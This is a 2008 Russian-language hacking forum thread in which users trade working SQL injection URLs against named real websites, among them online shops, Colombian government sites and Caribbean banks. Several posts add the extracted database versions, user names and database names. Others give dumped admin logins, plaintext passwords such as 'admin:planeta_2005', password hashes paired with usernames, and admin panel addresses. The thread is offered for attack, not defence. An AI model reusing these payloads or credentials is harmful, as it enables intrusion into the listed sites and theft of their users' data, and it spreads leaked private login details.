SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. crystalbit

    crystalbit Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    88
    Reputations:
    8
    докрутил до конца, ничего интересного для себя не нашел
     
    1 person likes this.
  2. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    присоединяюсь потихоньку))
    банально admin:admin

    админка: http://cupick64.com/admin/
     
  3. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Unique.com - pr 5
    Ubcmedia.com
    /admin/login.php

    Yo.ru - pr 3
    5 ветка..

    Frame.ru - pr 3
    4 ветка..

    Pro-check.com.au - pr 3
    4 ветка..

    Occasio.com.au - pr 3
    4 ветка..

    Neotec.com.ua - pr 4
    3 ветка..

    если кто сможет что зделать))
     
    #6883 sabe, 27 Nov 2008
    Last edited: 27 Nov 2008
    2 people like this.
  4. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    http://www.swe-system.com/product.php?id=-29'+union+select+1,concat_ws(0x3A3a,version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

    5.0.22::swesyste_store
    --------------------------------------
    http://www.nooz.co.nz/list.php?category=7'+union+select+1,2,concat_ws(0x3A3a,id,email,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+members--%20

    5.0.51a-0.dotdeb.1-log
    --------------------------------------
    http://www.fireplaceswholesale.net/product_detail.php?ID=-107+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

    5.0.45-community-nt
     
  5. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Региональные GOV колумбии
    User: planetar_bduser@localhost
    Dbname: planetar_principal
    Version: 5.0.67-community-log

    tbladmin -->> admin:planeta_2005
    хз где админко


    Dbname: redehospitalbaq_gov_co_-_redehospital
    Version: 5.0.45
    User: redehco2@localhost

    admin:admin

    хз где логиница) не особо и искал.
     
    #6885 $n@ke, 27 Nov 2008
    Last edited: 27 Nov 2008
    1 person likes this.
  6. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    http://www.overstockpro.com/item.php?id=-13'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14/*

    5.0.45-log
     
  7. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    admin:b83dea104b4e116367c8477fc9b8740a
    http://www.unique.co.uk/admin/


    dianeearl 1645ee78de0f7c73001e1a8ed1facc25a72b6796
    huw 8ec6e1bb3914e917c06bfb3360f80a356b9a0bda
    [email protected] 46a48023ce31b1677c08d0dc72c05ad0da588bc4
    story ca0dd83451c629db7ee96129d150ee1750a05ba2
    annafenn 7e0eb0f86e23d12ed64b47ef4024614d4ff635a8
     
  8. Ламоза

    Ламоза Member

    Joined:
    26 Jul 2008
    Messages:
    22
    Likes Received:
    7
    Reputations:
    0
    В антибояне маловато японских доменов, теперь я понял почему, в япононет больше ни ногой.

    4.0.27
    Code:
    http://www.kawaguchiko.gr.jp/show_detail.php?id=-20+union+select+1,2,3,4,5,version(),7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65/*
    4.1.22
    Code:
    http://www.safetyweb.co.jp/business_detail.php?id=-7+union+select+version()/*
    4.1.20
    Code:
    http://www.eufilmdays.jp/en/film.php?id=-18+union+select+version(),2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19,20/*
    Есть таблица films с полями name и time, больше ничего не нашёл.
     
    1 person likes this.
  9. FNS

    FNS Member

    Joined:
    6 Nov 2008
    Messages:
    16
    Likes Received:
    11
    Reputations:
    0
    MAGIC SHOP

    Code:
    http://www.ohiomagicshop.com/storeit.php?id=-5+union+select+1,version(),3,4,5,6,7,8,9--
     
  10. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://www.bend-fsbo.com/index.php?go=detail&id=99999/**/union/**/select/**/0,0,0,0,0,0,0,0,0,0,0,0,email,concat(юзернэйм,0x3a,пассворд),1,1,1,1,1,1,2,2,2,2,2/**/from/**/адмын/**/limit/**/0,2--

    на хосте таких сайтов много еще (-
     
  11. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.spokanejo urnal.com/index.php?id=article&sub=-2710+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15--&keyword=

    4.0.24
     
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.michaeloddo.com/googlestore/storeit.php?id=19+union+select+1,2,3,4,5,6,7,8,9--
    version(): 4.1.22-standard-log
    user(): [email protected]
    database(): magimik_shop


    Code:
    http://www.pakwatan.com/business_detail.php?id=-4724+union+select+1,2,3,4,5,6,7,8,9,10--
    version(): 5.0.67-community
    user(): pakweb_ahmad@localhost
    database(): pakweb_pakwatan

    Code:
    http://www.theyorkdirectory.com/business_detail.php?id=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*


    Code:
    http://springhillchamber.com/business_detail.php?id=-283+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    version(): 5.0.67-community-log
    user(): springh5_5hc0com@localhost
    database(): springh5_5Hchamber
     
    _________________________
    1 person likes this.
  13. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.digitalch arity.com/m.php?id=-41260+union+select+1,2,3,4,5,6,concat_ws(0x3a,email,paypal,passwd),8,9,10,11,12,13+from+beg_users+limit+700,1--
     
  14. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.123prop ertynews.com/magazinearticle.php?id=-559+union+select+1,2,3,4,5,version(),7,8,9,10,11--

    4.0.20-log
     
  15. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.dknews.kz/newslink.php?id=-28+union+select+1,version(),3,4,5,6--

    4.1.22-standard
     
    1 person likes this.
  16. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.gladwi sh.ae/en/news_details.php?id=-42+union+select+1,concat_ws(0x3a,pass,username,position),3,4,5,6,7+from+login_secured--
     
  17. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    FIRST CARIBEAN INTERNATIONAL BANK
    http://www.firstcaribbe anbank.an/?node=page&id=15'

    http://www.central bank.an/publications_statistics.php?sub=21&id=501'
     
  18. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.language-affairs.com.ar/index.php?o=detallep&id=-13+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15--

    4.1.21-standard
     
  19. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.hire-int elligence.com.au/content.php?id=-18+union+select+1,concat_ws(0x3a,username,password,firstname,lastname,permissions),3,4,5,6,7,8,9+from+hi_admin+limit+0,1--
     
  20. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://adultbloghu b.com/sitesummary.php?id=-19+union+select+1,2,concat_ws(0x3a,user_login,0x3a,user_pass,0x3a,user_nicename,0x3a,user_email,0x3a,display_name),4,5,6,7,8+from+as_users--

    http://www.dymn m.com/mboard/write.html?table=board&id=-120+union+select+1,2,3,4,concat_ws(0x3a,multi_id,0x3a,multi_password,0x3a,multi_skin_name),6,7,8+from+multi_admin--&mode=reply

    http://www.dirtyfinde r.com/go.php?id=-3307+union+select+1,2,3,version()--
    4.1.21 -standart
     
    #6900 plutus, 28 Nov 2008
    Last edited: 28 Nov 2008
    3 people like this.
Thread Status:
Not open for further replies.